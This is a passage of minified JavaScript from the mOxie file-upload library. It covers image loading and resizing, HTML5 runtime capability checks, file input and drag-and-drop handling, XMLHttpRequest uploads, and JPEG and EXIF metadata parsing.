n,r=this;t=m.extend({chunk_size:204798},t),(o=t.chunk_size%3)&&(t.chunk_size+=3-o),u=t.chunk_size,c.call(this),a=(s=e).length,"string"===m.typeOf(t)||t.ruid?l.call(r,i,this.connectRuntime(t)):(n=function(e,t){r.unbind("RuntimeInit",n),l.call(r,i,t)},this.bind("RuntimeInit",n),this.connectRuntime(t))},abort:function(){this.state=h.IDLE,n&&(n.exec.call(this,"Transporter","clear"),this.trigger("TransportingAborted")),c.call(this)},destroy:function(){this.unbindAll(),n=null,this.disconnectRuntime(),c.call(this)}})}return h.IDLE=0,h.BUSY=1,h.DONE=2,h.prototype=i.instance,h}),e("moxie/image/Image",["moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/file/FileReaderSync","moxie/xhr/XMLHttpRequest","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/runtime/Transporter","moxie/core/utils/Env","moxie/core/EventTarget","moxie/file/Blob","moxie/file/File","moxie/core/utils/Encode"],function(a,n,u,e,o,s,t,c,l,i,d,m,h){var f=["progress","load","error","resize","embedded"];function p(){function i(e){var t=a.typeOf(e);try{if(e instanceof p){if(!e.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);!function(e,t){var i=this.connectRuntime(e.ruid);this.ruid=i.uid,i.exec.call(this,"Image","loadFromImage",e,"undefined"===a.typeOf(t)||t)}.apply(this,arguments)}else if(e instanceof d){if(!~a.inArray(e.type,["image/jpeg","image/png"]))throw new u.ImageError(u.ImageError.WRONG_FORMAT);r.apply(this,arguments)}else if(-1!==a.inArray(t,["blob","file"]))i.call(this,new m(null,e),arguments[1]);else if("string"===t)"data:"===e.substr(0,5)?i.call(this,new d(null,{data:e}),arguments[1]):function(e,t){var i,n=this;(i=new o).open("get",e),i.responseType="blob",i.onprogress=function(e){n.trigger(e)},i.onload=function(){r.call(n,i.response,!0)},i.onerror=function(e){n.trigger(e)},i.onloadend=function(){i.destroy()},i.bind("RuntimeError",function(e,t){n.trigger("RuntimeError",t)}),i.send(null,t)}.apply(this,arguments);else{if("node"!==t||"img"!==e.nodeName.toLowerCase())throw new u.DOMException(u.DOMException.TYPE_MISMATCH_ERR);i.call(this,e.src,arguments[1])}}catch(e){this.trigger("error",e.code)}}function r(t,e){var i=this;function n(e){i.ruid=e.uid,e.exec.call(i,"Image","loadFromBlob",t)}i.name=t.name||"",t.isDetached()?(this.bind("RuntimeInit",function(e,t){n(t)}),e&&"string"==typeof e.required_caps&&(e.required_caps=s.parseCaps(e.required_caps)),this.connectRuntime(a.extend({required_caps:{access_image_binary:!0,resize_image:!0}},e))):n(this.connectRuntime(t.ruid))}t.call(this),a.extend(this,{uid:a.guid("uid_"),ruid:null,name:"",size:0,width:0,height:0,type:"",meta:{},clone:function(){this.load.apply(this,arguments)},load:function(){i.apply(this,arguments)},downsize:function(e){var t={width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,crop:!1,preserveHeaders:!0,resample:!1};e="object"==typeof e?a.extend(t,e):a.extend(t,{width:arguments[0],height:arguments[1],crop:arguments[2],preserveHeaders:arguments[3]});try{if(!this.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);if(this.width>p.MAX_RESIZE_WIDTH||this.height>p.MAX_RESIZE_HEIGHT)throw new u.ImageError(u.ImageError.MAX_RESOLUTION_ERR);this.exec("Image","downsize",e.width,e.height,e.crop,e.preserveHeaders)}catch(e){this.trigger("error",e.code)}},crop:function(e,t,i){this.downsize(e,t,!0,i)},getAsCanvas:function(){if(l.can("create_canvas"))return this.connectRuntime(this.ruid).exec.call(this,"Image","getAsCanvas");throw new u.RuntimeError(u.RuntimeError.NOT_SUPPORTED_ERR)},getAsBlob:function(e,t){if(this.size)return this.exec("Image","getAsBlob",e||"image/jpeg",t||90);throw new u.DOMException(u.DOMException.INVALID_STATE_ERR)},getAsDataURL:function(e,t){if(this.size)return this.exec("Image","getAsDataURL",e||"image/jpeg",t||90);throw new u.DOMException(u.DOMException.INVALID_STATE_ERR)},getAsBinaryString:function(e,t){e=this.getAsDataURL(e,t);return h.atob(e.substring(e.indexOf("base64,")+7))},embed:function(r,e){var o,s=this;e=a.extend({width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90},e||{});try{if(!(r=n.get(r)))throw new u.DOMException(u.DOMException.INVALID_NODE_TYPE_ERR);if(!this.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);this.width>p.MAX_RESIZE_WIDTH||this.height;var t=new p;return t.bind("Resize",function(){!function(e,t){var i=this;if(l.can("create_canvas")){var n=i.getAsCanvas();if(n)return r.appendChild(n),i.destroy(),void s.trigger("embedded")}if(!(n=i.getAsDataURL(e,t)))throw new u.ImageError(u.ImageError.WRONG_FORMAT);l.can("use_data_uri_of",n.length)?(r.innerHTML='<img src="'+n+'" width="'+i.width+'" height="'+i.height+'" />',i.destroy(),s.trigger("embedded")):((t=new c).bind("TransportingComplete",function(){o=s.connectRuntime(this.result.ruid),s.bind("Embedded",function(){a.extend(o.getShimContainer().style,{top:"0px",left:"0px",width:i.width+"px",height:i.height+"px"}),o=null},999),o.exec.call(s,"ImageView","display",this.result.uid,width,height),i.destroy()}),t.transport(h.atob(n.substring(n.indexOf("base64,")+7)),e,{required_caps:{display_media:!0},runtime_order:"flash,silverlight",container:r}))}.call(this,e.type,e.quality)}),t.bind("Load",function(){t.downsize(e)}),this.meta.thumb&&this.meta.thumb.width>=e.width&&this.meta.thumb.height>=e.height?t.load(this.meta.thumb.data):t.clone(this,!1),t}catch(e){this.trigger("error",e.code)}},destroy:function(){this.ruid&&(this.getRuntime().exec.call(this,"Image","destroy"),this.disconnectRuntime()),this.unbindAll()}}),this.handleEventProps(f),this.bind("Load Resize",function(){!function(e){e=e||this.exec("Image","getInfo");this.size=e.size,this.width=e.width,this.height=e.height,this.type=e.type,this.meta=e.meta,""===this.name&&(this.name=e.name)}.call(this)},999)}return p.MAX_RESIZE_WIDTH=8192,p.MAX_RESIZE_HEIGHT=8192,p.prototype=i.instance,p}),e("moxie/runtime/html5/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(s,e,a,u){var c={};return a.addConstructor("html5",function(e){var t,i=this,n=a.capTest,r=a.capTrue,o=s.extend({access_binary:n(window.FileReader||window.File&&window.File.getAsDataURL),access_image_binary:function(){return i.can("access_binary")&&!!c.Image},display_media:n(u.can("create_canvas")||u.can("use_data_uri_over32kb")),do_cors:n(window.XMLHttpRequest&&"withCredentials"in new XMLHttpRequest),drag_and_drop:n(("draggable"in(o=document.createElement("div"))||"ondragstart"in o&&"ondrop"in o)&&("IE"!==u.browser||u.verComp(u.version,9,">"))),filter_by_extension:n("Chrome"===u.browser&&u.verComp(u.version,28,">=")||"IE"===u.browser&&u.verComp(u.version,10,">=")||"Safari"===u.browser&&u.verComp(u.version,7,">=")),return_response_headers:r,return_response_type:function(e){return!("json"!==e||!window.JSON)||u.can("return_response_type",e)},return_status_code:r,report_upload_progress:n(window.XMLHttpRequest&&(new XMLHttpRequest).upload),resize_image:function(){return i.can("access_binary")&&u.can("create_canvas")},select_file:function(){return u.can("use_fileinput")&&window.File},select_folder:function(){return i.can("select_file")&&"Chrome"===u.browser&&u.verComp(u.version,21,">=")},select_multiple:function(){return i.can("select_file")&&!("Safari"===u.browser&&"Windows"===u.os)&&!("iOS"===u.os&&u.verComp(u.osVersion,"7.0.0",">")&&u.verComp(u.osVersion,"8.0.0","<"))},send_binary_string:n(window.XMLHttpRequest&&((new XMLHttpRequest).sendAsBinary||window.Uint8Array&&window.ArrayBuffer)),send_custom_headers:n(window.XMLHttpRequest),send_multipart:function(){return!!(window.XMLHttpRequest&&(new XMLHttpRequest).upload&&window.FormData)||i.can("send_binary_string")},slice_blob:n(window.File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice)),stream_upload:function(){return i.can("slice_blob")&&i.can("send_multipart")},summon_file_dialog:function(){return i.can("select_file")&&("Firefox"===u.browser&&u.verComp(u.version,4,">=")||"Opera"===u.browser&&u.verComp(u.version,12,">=")||"IE"===u.browser&&u.verComp(u.version,10,">=")||!!~s.inArray(u.browser,["Chrome","Safari"]))},upload_filesize:r},arguments[2]);a.call(this,e,arguments[1]||"html5",o),s.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),s.extend(this.getShim(),c)}),c}),e("moxie/core/utils/Events",["moxie/core/utils/Basic"],function(o){var s={},a="moxie_"+o.guid();function u(){this.returnValue=!1}function c(){this.cancelBubble=!0}function r(t,e,i){if(e=e.toLowerCase(),t[a]&&s[t[a]]&&s[t[a]][e]){for(var n,r=(n=s[t[a]][e]).length-1;0<=r&&(n[r].orig!==i&&n[r].key!==i||(t.removeEventListener?t.removeEventListener(e,n[r].func,!1):t.detachEvent&&t.detachEvent("on"+e,n[r].func),n[r].orig=null,n[r].func=null,n.splice(r,1),void 0===i));r--);if(n.length||delete s[t[a]][e],o.isEmptyObj(s[t[a]])){delete s[t[a]];try{delete t[a]}catch(e){t[a]=void 0}}}}return{addEvent:function(e,t,i,n){var r;t=t.toLowerCase(),e.addEventListener?e.addEventListener(t,r=i,!1):e.attachEvent&&e.attachEvent("on"+t,r=function(){var e=window.event;e.target||(e.target=e.srcElement),e.preventDefault=u,e.stopPropagation=c,i(e)}),e[a]||(e[a]=o.guid()),s.hasOwnProperty(e[a])||(s[e[a]]={}),(e=s[e[a]]).hasOwnProperty(t)||(e[t]=[]),e[t].push({func:r,orig:i,key:n})},removeEvent:r,removeAllEvents:function(i,n){i&&i[a]&&o.each(s[i[a]],function(e,t){r(i,t,n)})}}}),e("moxie/runtime/html5/file/FileInput",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,a,u,c,l,d,m){return e.FileInput=function(){var s;u.extend(this,{init:function(e){var t,i,n,r=this,o=r.getRuntime(),e=(s=e).accept.mimes||d.extList2mimes(s.accept,o.can("filter_by_extension"));(t=o.getShimContainer()).innerHTML='<input id="'+o.uid+'" type="file" style="font-size:999px;opacity:0;"'+(s.multiple&&o.can("select_multiple")?"multiple":"")+(s.directory&&o.can("select_folder")?"webkitdirectory directory":"")+(e?' accept="'+e.join(",")+'"':"")+" />",e=c.get(o.uid),u.extend(e.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),i=c.get(s.browse_button),o.can("summon_file_dialog")&&("static"===c.getStyle(i,"position")&&(i.style.position="relative"),n=parseInt(c.getStyle(i,"z-index"),10)||1,i.style.zIndex=n,t.style.zIndex=n-1,l.addEvent(i,"click",function(e){var t=c.get(o.uid);t&&!t.disabled&&t.click(),e.preventDefault()},r.uid)),n=o.can("summon_file_dialog")?i:t,l.addEvent(n,"mouseover",function(){r.trigger("mouseenter")},r.uid),l.addEvent(n,"mouseout",function(){r.trigger("mouseleave")},r.uid),l.addEvent(n,"mousedown",function(){r.trigger("mousedown")},r.uid),l.addEvent(c.get(s.container),"mouseup",function(){r.trigger("mouseup")},r.uid),e.onchange=function e(t){var i;r.files=[],u.each(this.files,function(e){var t="";if(s.directory&&"."==e.name)return!0;e.webkitRelativePath&&(t="/"+e.webkitRelativePath.replace(/^\//,"")),(e=new a(o.uid,e)).relativePath=t,r.files.push(e)}),"IE"!==m.browser&&"IEMobile"!==m.browser?this.value="":(i=this.cloneNode(!0),this.parentNode.replaceChild(i,this),i.onchange=e),r.files.length&&r.trigger("change")},r.trigger({type:"ready",async:!0})},disable:function(e){var t=this.getRuntime();(t=c.get(t.uid))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),e=e.getShimContainer();l.removeAllEvents(e,this.uid),l.removeAllEvents(s&&c.get(s.container),this.uid),l.removeAllEvents(s&&c.get(s.browse_button),this.uid),e&&(e.innerHTML=""),t.removeInstance(this.uid),s=null}})}}),e("moxie/runtime/html5/file/Blob",["moxie/runtime/html5/Runtime","moxie/file/Blob"],function(e,t){return e.Blob=function(){this.slice=function(){return new t(this.getRuntime().uid,function(t,i,n){var e;if(!window.File.prototype.slice)return(e=window.File.prototype.webkitSlice||window.File.prototype.mozSlice)?e.call(t,i,n):null;try{return t.slice(),t.slice(i,n)}catch(e){return t.slice(i,n-i)}}.apply(this,arguments))}}}),e("moxie/runtime/html5/file/FileDrop",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime"],function(e,r,c,l,d,m){return e.FileDrop=function(){var t,i,o=[],n=[];function s(e){if(e.dataTransfer&&e.dataTransfer.types)return e=c.toArray(e.dataTransfer.types||[]),-1!==c.inArray("Files",e)||-1!==c.inArray("public.file-url",e)||-1!==c.inArray("application/x-moz-file",e)}function a(e,t){!function(e){if(!n.length)return 1;e=m.getFileExtension(e.name);return!e||-1!==c.inArray(e,n)}(e)||((e=new r(i,e)).relativePath=t||"",o.push(e))}function u(e,t){var i=[];c.each(e,function(s){i.push(function(e){{var t,n,r;(o=e,(i=s).isFile)?i.file(function(e){a(e,i.fullPath),o()},function(){o()}):i.isDirectory?(t=o,n=[],r=(e=i).createReader(),function t(i){r.readEntries(function(e){e.length?([].push.apply(n,e),t(i)):i()},i)}(function(){u(n,t)})):o()}var i,o})}),c.inSeries(i,function(){t()})}c.extend(this,{init:function(e){var r=this;t=e,i=r.ruid,n=function(e){for(var t=[],i=0;i<e.length;i++)[].push.apply(t,e[i].extensions.split(/\s*,\s*/));return-1===c.inArray("*",t)?t:[]}(t.accept),e=t.container,d.addEvent(e,"dragover",function(e){s(e)&&(e.preventDefault(),e.dataTransfer.dropEffect="copy")},r.uid),d.addEvent(e,"drop",function(e){var t,i,n;s(e)&&(e.preventDefault(),o=[],e.dataTransfer.items&&e.dataTransfer.items[0].webkitGetAsEntry?(t=e.dataTransfer.items,i=function(){r.files=o,r.trigger("drop")},n=[],c.each(t,function(e){var t=e.webkitGetAsEntry();t&&(t.isFile?a(e.getAsFile(),t.fullPath):n.push(t))}),n.length?u(n,i):i()):(c.each(e.dataTransfer.files,function(e){a(e)}),r.files=o,r.trigger("drop")))},r.uid),d.addEvent(e,"dragenter",function(e){r.trigger("dragenter")},r.uid),d.addEvent(e,"dragleave",function(e){r.trigger("dragleave")},r.uid)},destroy:function(){d.removeAllEvents(t&&l.get(t.container),this.uid),i=o=n=t=null}})}}),e("moxie/runtime/html5/file/FileReader",["moxie/runtime/html5/Runtime","moxie/core/utils/Encode","moxie/core/utils/Basic"],function(e,o,s){return e.FileReader=function(){var n,r=!1;s.extend(this,{read:function(e,t){var i=this;i.result="",(n=new window.FileReader).addEventListener("progress",function(e){i.trigger(e)}),n.addEventListener("load",function(e){var t;i.result=r?(t=n.result,o.atob(t.substring(t.indexOf("base64,")+7))):n.result,i.trigger(e)}),n.addEventListener("error",function(e){i.trigger(e,n.error)}),n.addEventListener("loadend",function(e){n=null,i.trigger(e)}),"function"===s.typeOf(n[e])?(r=!1,n[e](t.getSource())):"readAsBinaryString"===e&&(r=!0,n.readAsDataURL(t.getSource()))},abort:function(){n&&n.abort()},destroy:function(){n=null}})}}),e("moxie/runtime/html5/xhr/XMLHttpRequest",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/core/utils/Url","moxie/file/File","moxie/file/Blob","moxie/xhr/FormData","moxie/core/Exceptions","moxie/core/utils/Env"],function(e,m,u,h,f,p,g,x,E){return e.XMLHttpRequest=function(){var c,l,d=this;m.extend(this,{send:function(e,t){var i,n=this,r="Mozilla"===E.browser&&E.verComp(E.version,4,">=")&&E.verComp(E.version,7,"<"),o="Android Browser"===E.browser,s=!1;if(l=e.url.replace(/^.+?\/([\w\-\.]+)$/,"$1").toLowerCase(),(c=!window.XMLHttpRequest||"IE"===E.browser&&E.verComp(E.version,8,"<")?function(){for(var e=["Msxml2.XMLHTTP.6.0","Microsoft.XMLHTTP"],t=0;t<e.length;t++)try{return new ActiveXObject(e[t])}catch(e){}}():new window.XMLHttpRequest).open(e.method,e.url,e.async,e.user,e.password),t instanceof p)t.isDetached()&&(s=!0),t=t.getSource();else if(t instanceof g){if(t.hasBlob())if(t.getBlob().isDetached())t=function(e){var i="----moxieboundary"+(new Date).getTime(),n="\r\n",r="";if(this.getRuntime().can("send_binary_string"))return c.setRequestHeader("Content-Type","multipart/form-data; boundary="+i),e.each(function(e,t){r+=e instanceof p?"--"+i+n+'Content-Disposition: form-data; name="'+t+'"; filename="'+unescape(encodeURIComponent(e.name||"blob"))+'"'+n+"Content-Type: "+(e.type||"application/octet-stream")+n+n+e.getSource()+n:"--"+i+n+'Content-Disposition: form-data; name="'+t+'"'+n+n+unescape(encodeURIComponent(e))+n}),r+="--"+i+"--"+n;throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR)}.call(n,t),s=!0;else if((r||o)&&"blob"===m.typeOf(t.getBlob().getSource())&&window.FileReader)return void function(e,t){var i,n,r=this;i=t.getBlob().getSource(),(n=new window.FileReader).onload=function(){t.append(t.getBlobName(),new p(null,{type:i.type,data:n.result})),d.send.call(r,e,t)},n.readAsBinaryString(i)}.call(n,e,t);t instanceof g&&(i=new window.FormData,t.each(function(e,t){e instanceof p?i.append(t,e.getSource()):i.append(t,e)}),t=i)}if(c.upload?(e.withCredentials&&(c.withCredentials=!0),c.addEventListener("load",function(e){n.trigger(e)}),c.addEventListener("error",function(e){n.trigger(e)}),c.addEventListener("progress",function(e){n.trigger(e)}),c.upload.addEventListener("progress",function(e){n.trigger({type:"UploadProgress",loaded:e.loaded,total:e.total})})):c.onreadystatechange=function(){switch(c.readyState){case 1:case 2:break;case 3:var t,i;try{h.hasSameOrigin(e.url)&&(t=c.getResponseHeader("Content-Length")||0),c.responseText&&(i=c.responseText.length)}catch(e){t=i=0}n.trigger({type:"progress",lengthComputable:!!t,total:parseInt(t,10),loaded:i});break;case 4:c.onreadystatechange=function(){},0===c.status?n.trigger("error"):n.trigger("load")}},m.isEmptyObj(e.headers)||m.each(e.headers,function(e,t){c.setRequestHeader(t,e)}),""!==e.responseType&&"responseType"in c&&("json"!==e.responseType||E.can("return_response_type","json")?c.responseType=e.responseType:c.responseType="text"),s)if(c.sendAsBinary)c.sendAsBinary(t);else{for(var a=new Uint8Array(t.length),u=0;u<t.length;u++)a[u]=255&t.charCodeAt(u);c.send(a.buffer)}else c.send(t);n.trigger("loadstart")},getStatus:function(){try{if(c)return c.status}catch(e){}return 0},getResponse:function(e){var t=this.getRuntime();try{switch(e){case"blob":var i,n=new f(t.uid,c.response),r=c.getResponseHeader("Content-Disposition");return r&&(i=r.match(/filename=([\'\"'])([^\1]+)\1/))&&(l=i[2]),n.name=l,n.type||(n.type=u.getFileMime(l)),n;case"json":return E.can("return_response_type","json")?c.response:200===c.status&&window.JSON?JSON.parse(c.responseText):null;case"document":var o=c,s=o.responseXML,a=o.responseText;return"IE"===E.browser&&a&&s&&!s.documentElement&&/[^\/]+\/[^\+]+\+xml/.test(o.getResponseHeader("Content-Type"))&&((s=new window.ActiveXObject("Microsoft.XMLDOM")).async=!1,s.validateOnParse=!1,s.loadXML(a)),s&&("IE"===E.browser&&0!==s.parseError||!s.documentElement||"parsererror"===s.documentElement.tagName)?null:s;default:return""!==c.responseText?c.responseText:null}}catch(e){return null}},getAllResponseHeaders:function(){try{return c.getAllResponseHeaders()}catch(e){}return""},abort:function(){c&&c.abort()},destroy:function(){d=l=null}})}}),e("moxie/runtime/html5/utils/BinaryReader",["moxie/core/utils/Basic"],function(t){function e(e){(e instanceof ArrayBuffer?function(r){var o=new DataView(r);t.extend(this,{readByteAt:function(e){return o.getUint8(e)},writeByteAt:function(e,t){o.setUint8(e,t)},SEGMENT:function(e,t,i){switch(arguments.length){case 2:return r.slice(e,e+t);case 1:return r.slice(e);case 3:if((i=null===i?new ArrayBuffer:i)instanceof ArrayBuffer){var n=new Uint8Array(this.length()-t+i.byteLength);0<e&&n.set(new Uint8Array(r.slice(0,e)),0),n.set(new Uint8Array(i),e),n.set(new Uint8Array(r.slice(e+t)),e+i.byteLength),this.clear(),r=n.buffer,o=new DataView(r);break}default:return r}},length:function(){return r?r.byteLength:0},clear:function(){o=r=null}})}:function(n){function r(e,t,i){i=3===arguments.length?i:n.length-t-1,n=n.substr(0,t)+e+n.substr(i+t)}t.extend(this,{readByteAt:function(e){return n.charCodeAt(e)},writeByteAt:function(e,t){r(String.fromCharCode(t),e,1)},SEGMENT:function(e,t,i){switch(arguments.length){case 1:return n.substr(e);case 2:return n.substr(e,t);case 3:r(null!==i?i:"",e,t);break;default:return n}},length:function(){return n?n.length:0},clear:function(){n=null}})}).apply(this,arguments)}return t.extend(e.prototype,{littleEndian:!1,read:function(e,t){var i,n,r;if(e+t>this.length())throw new Error("You are trying to read outside the source boundaries.");for(n=this.littleEndian?0:-8*(t-1),i=r=0;r<t;r++)i|=this.readByteAt(e+r)<<Math.abs(n+8*r);return i},write:function(e,t,i){var n,r;if(e>this.length())throw new Error("You are trying to write outside the source boundaries.");for(n=this.littleEndian?0:-8*(i-1),r=0;r<i;r++)this.writeByteAt(e+r,t>>Math.abs(n+8*r)&255)},BYTE:function(e){return this.read(e,1)},SHORT:function(e){return this.read(e,2)},LONG:function(e){return this.read(e,4)},SLONG:function(e){e=this.read(e,4);return 2147483647<e?e-4294967296:e},CHAR:function(e){return String.fromCharCode(this.read(e,1))},STRING:function(e,t){return this.asArray("CHAR",e,t).join("")},asArray:function(e,t,i){for(var n=[],r=0;r<i;r++)n[r]=this[e](t+r);return n}}),e}),e("moxie/runtime/html5/image/JPEGHeaders",["moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(a,u){return function o(e){var r,t,i,s=[],n=new a(e);if(65496!==n.SHORT(0))throw n.clear(),new u.ImageError(u.ImageError.WRONG_FORMAT);for(r=2;r<=n.length();)if(65488<=(t=n.SHORT(r))&&t<=65495)r+=2;else{if(65498===t||65497===t)break;i=n.SHORT(r+2)+2,65505<=t&&t<=65519&&s.push({hex:t,name:"APP"+(15&t),start:r,length:i,segment:n.SEGMENT(r,i)}),r+=i}return n.clear(),{headers:s,restore:function(e){var t,i,n=new a(e);for(r=65504==n.SHORT(2)?4+n.SHORT(4):2,i=0,t=s.length;i<t;i++)n.SEGMENT(r,0,s[i].segment),r+=s[i].length;return e=n.SEGMENT(),n.clear(),e},strip:function(e){var t,i,n=new o(e),r=n.headers;for(n.purge(),t=new a(e),i=r.length;i--;)t.SEGMENT(r[i].start,r[i].length,"");return e=t.SEGMENT(),t.clear(),e},get:function(e){for(var t=[],i=0,n=s.length;i<n;i++)s[i].name===e.toUpperCase()&&t.push(s[i].segment);return t},set:function(e,t){var i,n,r,o=[];for("string"==typeof t?o.push(t):o=t,i=n=0,r=s.length;i<r&&(s[i].name===e.toUpperCase()&&(s[i].segment=o[n],s[i].length=o[n].length,n++),!(n>=o.length));i++);},purge:function(){this.headers=s=[]}}}}),e("moxie/runtime/html5/image/ExifParser",["moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader","moxie/core/Exceptions"],function(p,o,g){function s(e){var t,l,h,f,i;if(o.call(this,e),l={tiff:{274:"Orientation",270:"ImageDescription",271:"Make",272:"Model",305:"Software",34665:"ExifIFDPointer",34853:"GPSInfoIFDPointer"},exif:{36864:"ExifVersion",40961:"ColorSpace",40962:"PixelXDimension",40963:"PixelYDimension",36867:"DateTimeOriginal",33434:"ExposureTime",33437:"FNumber",34855:"ISOSpeedRatings",37377:"ShutterSpeedValue",37378:"ApertureValue",37383:"MeteringMode",37384:"LightSource",37385:"Flash",37386:"FocalLength",41986:"ExposureMode",41987:"WhiteBalance",41990:"SceneCaptureType",41988:"DigitalZoomRatio",41992:"Contrast",41993:"Saturation",41994:"Sharpness"},gps:{0:"GPSVersionID",1:"GPSLatitudeRef",2:"GPSLatitude",3:"GPSLongitudeRef",4:"GPSLongitude"},thumb:{513:"JPEGInterchangeFormat",514:"JPEGInterchangeFormatLength"}},h={ColorSpace:{1:"sRGB",0:"Uncalibrated"},MeteringMode:{0:"Unknown",1:"Average",2:"CenterWeightedAverage",3:"Spot",4:"MultiSpot",5:"Pattern",6:"Partial",255:"Other"},LightSource:{1:"Daylight",2:"Fliorescent",3:"Tungsten",4:"Flash",9:"Fine weather",10:"Cloudy weather",11:"Shade",12:"Daylight fluorescent (D 5700 - 7100K)",13:"Day white fluorescent (N 4600 -5400K)",14:"Cool white fluorescent (W 3900 - 4500K)",15:"White fluorescent (WW 3200 - 3700K)",17:"Standard light A",18:"Standard light B",19:"Standard light C",20:"D55",21:"D65",22:"D75",23:"D50",24:"ISO studio tungsten",255:"Other"},Flash:{0:"Flash did not fire",1:"Flash fired",5:"Strobe return light not detected",7:"Strobe return light detected",9:"Flash fired, compulsory flash mode",13:"Flash fired, compulsory flash mode, return light not detected",15:"Flash fired, compulsory flash mode, return light detected",16:"Flash did not fire, compulsory flash mode",24:"Flash did not fire, auto mode",25:"Flash fired, auto mode",29:"Flash fired, auto mode, return light not detected",31:"Flash fired, auto mode, return light detected",32:"No flash function",65:"Flash fired, red-eye reduction mode",69:"Flash fired, red-eye reduction mode, return light not detected",71:"Flash fired, red-eye reduction mode, return light detected",73:"Flash fired, compulsory flash mode, red-eye reduction mode",77:"Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected",79:"Flash fired, compulsory flash mode, red-eye reduction mode, return light detected",89:"Flash fired, auto mode, red-eye reduction mode",93:"Flash fired, auto mode, return light not detected, red-eye reduction mode",95:"Flash fired, auto mode, return light detected, red-eye reduction mode"},ExposureMode:{0:"Auto exposure",1:"Manual exposure",2:"Auto bracket"},WhiteBalance:{0:"Auto white balance",1:"Manual white balance"},SceneCaptureType:{0:"Standard",1:"Landscape",2:"Portrait",3:"Night scene"},Contrast:{0:"Normal",1:"Soft",2:"Hard"},Saturation:{0:"Normal",1:"Low saturation",2:"High saturation"},Sharpness:{0:"Normal",1:"Soft",2:"Hard"},GPSLatitudeRef:{N:"North latitude",S:"South latitude"},GPSLongitudeRef:{E:"East longitude",W:"West longitude"}},n=(f={tiffHeader:10}).tiffHeader,t={clear:this.clear},p.extend(this,{read:function(){try{return s.prototype.read.apply(this,arguments)}catch(e){throw new g.ImageError(g.ImageError.INVALID_META_ERR)}},write:function(){try{return s.prototype.write.apply(this,arguments)}catch(e){throw new g.ImageError(g.ImageError.INVALID_META_ERR)}},UNDEFINED:function(){return this.BYTE.apply(this,arguments)},RATIONAL:function(e){return this.LONG(e)/this.LONG(e+4)},SRATIONAL:function(e){return this.SLONG(e)/this.SLONG(e+4)},ASCII:function(e){return this.CHAR(e)},TIFF:function(){return i||null},EXIF:function(){var e=null;if(f.exifIFD){try{e=r.call(this,f.exifIFD,l.exif)}catch(e){return null}if(e.ExifVersion&&"array"===p.typeOf(e.ExifVersion)){for(var t=0,i="";t<e.ExifVersion.length;t++)i+=String.fromCharCode(e.ExifVersion[t]);e.ExifVersion=i}}return e},GPS:function(){var e=null;if(f.gpsIFD){try{e=r.call(this,f.gpsIFD,l.gps)}catch(e){return null}e.GPSVersionID&&"array"===p.typeOf(e.GPSVersionID)&&(e.GPSVersionID=e.GPSVersionID.join("."))}return e},thumb:function(){if(f.IFD1)try{var e=r.call(this,f.IFD1,l.thumb);if("JPEGInterchangeFormat"in e)return this.SEGMENT(f.tiffHeader+e.JPEGInterchangeFormat,e.JPEGInterchangeFormatLength)}catch(e){}return null},setExif:function(e,t){return("PixelXDimension"===e||"PixelYDimension"===e)&&function(e,t,i){var n,r,o,s=0;if("string"==typeof t){var a,u=l[e.toLowerCase()];for(a in u)if(u[a]===t){t=a;break}}n=f[e.toLowerCase()+"IFD"],r=this.SHORT(n);for(var c=0;c<r;c++)if(o=n+12*c+2,this.SHORT(o)==t){s=o+8;break}if(!s)return!1;try{this.write(s,i,4)}catch(e){return!1}return!0}.call(this,"exif",e,t)},clear:function(){t.clear(),e=l=h=i=f=t=null}}),65505!==this.SHORT(0)||"EXIF\0"!==this.STRING(4,5).toUpperCase())throw new g.ImageError(g.ImageError.INVALID_META_ERR);if(this.littleEndian=18761==this.SHORT(n),42!==this.SHORT(n+=2))throw new g.ImageError(g.ImageError.INVALID_META_ERR);f.IFD0=f.tiffHeader+this.LONG(n+=2),"ExifIFDPointer"in(i=r.call(this,f.IFD0,l.tiff))&&(f.exifIFD=f.tiffHeader+i.ExifIFDPointer,delete i.ExifIFDPointer),"GPSInfoIFDPointer"in i&&(f.gpsIFD=f.tiffHeader+i.GPSInfoIFDPointer,delete i.GPSInfoIFDPointer),p.isEmptyObj(i)&&(i=null);var n=this.LONG(f.IFD0+12*this.SHORT(f.IFD0)+2);function r(e,t){for(var i,n,r,o,s,a=this,u={},c={1:"BYTE",7:"UNDEFINED",2:"ASCII",3:"SHORT",4:"LONG",5:"RATIONAL",9:"SLONG",10:"SRATIONAL"},l={BYTE:1,UNDEFINED:1,ASCII:1,SHORT:2,LONG:4,RATIONAL:8,SLONG:4,SRATIONAL:8},d=a.SHORT(e),m=0;m<d;m++)if((i=t[a.SHORT(r=e+2+12*m)])!==x){if(o=c[a.SHORT(r+=2)],n=a.LONG(r+=2),!(s=l[o]))throw new g.ImageError(g.ImageError.INVALID_META_ERR);if(r+=4,(r=4<s*n?a.LONG(r)+f.tiffHeader:r)+s*n>=this.length())throw new g.ImageError(g.ImageError.INVALID_META_ERR);"ASCII"===o?u[i]=p.trim(a.STRING(r,n).replace(/\0$/,"")):(s=a.asArray(o,r,n),o=1==n?s[0]:s,h.hasOwnProperty(i)&&"object"!=typeof 